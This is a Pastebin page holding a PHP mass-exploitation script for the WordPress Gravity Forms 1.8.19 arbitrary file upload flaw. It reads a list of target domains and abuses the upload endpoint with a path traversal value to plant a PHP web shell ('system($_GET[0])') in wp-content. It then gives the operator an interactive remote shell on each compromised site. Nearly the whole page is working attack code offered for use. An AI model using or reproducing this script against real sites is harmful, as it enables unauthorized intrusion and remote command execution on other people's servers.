Advertisement
AZZATSSINS_CYBERSERK

[AFU] WordPress Gravity Forms 1.8.19

Jun 18th, 2016
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.20 KB | None | 0 0
  1. <title>Wordpress Gravity Forms | AFU | Vuln .8.19</title>
  2. <body bgcolor=silver><center><div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;><i><b><font color=lime>&copy; </font><a href=mailto:[email protected]>AZZATSSINS CYBERSERKERS</a></b></i></div><br><br>
  3.     <form method='POST'>
  4.     <textarea name='sites' cols='45' rows='15'></textarea>
  5. <br>
  6.     _______________________________________________________________
  7. <br><input style="background:dodgerblue;margin:1px;width:15%;padding:0px;color:#fff;border:0;font-weight:bold;" value="EXECUTE" type="submit"><br><br><br>
  8.     </form>
  9.  
  10. <?php
  11. error_reporting(0);
  12. @set_time_limit(0);
  13. $domains = explode("\r\n", $_POST['sites']);
  14.  
  15. foreach($domains as $domain) {
  16.  
  17. $domain = trim($domain);
  18. $url       = "$domain/?gf_page=upload";
  19. $shell     = "$domain/wp-content/_input_3_azzatssins.php5";
  20. $separator = '-----------------------------------------------------';
  21.  
  22. $ch = curl_init($url);
  23. curl_setopt($ch, CURLOPT_POST, 1);
  24. curl_setopt($ch, CURLOPT_POSTFIELDS, '<?=system($_GET[0]);?>&form_id=1&name=azzatssins.php5&gform_unique_id=../../../../&field_id=3');
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  26. $response = curl_exec($ch);
  27. curl_close($ch);
  28.  
  29. if (eregi('ok', $response)) {
  30.     echo "$separator\nShell at $shell\n$separator\n\n";
  31.     while ($testCom != 'bubye!') {
  32.         $user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
  33.         echo "$user@b0x:~$ ";
  34.         $handle  = fopen("php://stdin", 'r');
  35.         $testCom = trim(fgets($handle));
  36.         fclose($handle);
  37.         $comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
  38.         echo $comOut;
  39.     }
  40. }
  41. else {
  42.     die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
  43. }
  44.  
  45. function get_string_between($string, $start, $end)
  46. {
  47.     # stolen from stackoverflow!
  48.    $string = " " . $string;
  49.     $ini    = strpos($string, $start);
  50.     if ($ini == 0)
  51.         return "";
  52.     $ini += strlen($start);
  53.     $len = strpos($string, $end, $ini) - $ini;
  54.     return substr($string, $ini, $len);
  55. }
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement